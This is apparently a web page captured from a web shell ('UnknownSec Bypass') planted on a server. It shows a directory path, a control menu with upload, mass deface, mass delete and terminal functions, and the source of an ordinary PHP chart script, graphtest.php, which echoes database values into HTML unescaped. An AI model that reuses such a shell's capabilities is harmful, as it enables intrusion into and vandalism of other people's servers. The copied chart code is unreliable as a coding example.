UnknownSec Bypass
403
:
/
var
/
www
/
cotutilitydash
/ [
drwxrwxr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
graphtest.php
<?php //index.php include("config.php"); $query = "SELECT year FROM chart_data GROUP BY year DESC"; $statement = $connect->prepare($query); $statement->execute(); $result = $statement->fetchAll(); ?> <!DOCTYPE html> <html> <head> <title>Create Dynamic Column Chart using PHP Ajax with Google Charts</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> <script src="https://code.jquery.com/jquery-1.12.4.js"></script> </head> <body> <br /><br /> <div class="container"> <h3 align="center">Create Dynamic Column Chart using PHP Ajax with Google Charts</h3> <br /> <div class="panel panel-default"> <div class="panel-heading"> <div class="row"> <div class="col-md-9"> <h3 class="panel-title">Month Wise Profit Data</h3> </div> <div class="col-md-3"> <select name="year" class="form-control" id="year"> <option value="">Select Year</option> <?php foreach($result as $row) { echo '<option value="'.$row["year"].'">'.$row["year"].'</option>'; } ?> </select> </div> </div> </div> <div class="panel-body"> <div id="chart_area" style="width: 1000px; height: 620px;"></div> </div> </div> </div> </body> </html> <script type="text/javascript" src="https://www.gstatic.com/charts/loader.js"></script> <script type="text/javascript"> google.charts.load('current', {packages: ['corechart', 'bar']}); google.charts.setOnLoadCallback(); function load_monthwise_data(year, title) { var area=""; var equipment=""; var subarea=""; var month=""; var temp_title = title + ' '+year+''; $.ajax({ url:"grap_fetch.php", method:"POST", data:{year:year,month:month,area:area,equipment:equipment,subarea:subarea}, dataType:"JSON", success:function(data) { alert(data) drawMonthwiseChart(data, temp_title); } }); } function drawMonthwiseChart(chart_data, chart_main_title) { var jsonData = chart_data; var data = new google.visualization.DataTable(); data.addColumn('string', 'Month'); data.addColumn('number', 'Profit'); $.each(jsonData, function(i, jsonData){ var month = jsonData.date; var profit = parseFloat($.trim(jsonData.consumption)); data.addRows([[month, profit]]); }); var options = { title:chart_main_title, hAxis: { title: "Months" }, vAxis: { title: 'Profit' } }; var chart = new google.visualization.ColumnChart(document.getElementById('chart_area')); chart.draw(data, options); } </script> <script> $(document).ready(function(){ $('#year').change(function(){ var year = $(this).val(); if(year != '') { load_monthwise_data(year, 'Month Wise Profit Data For'); } }); }); </script>
Copyright © 2025 - UnknownSec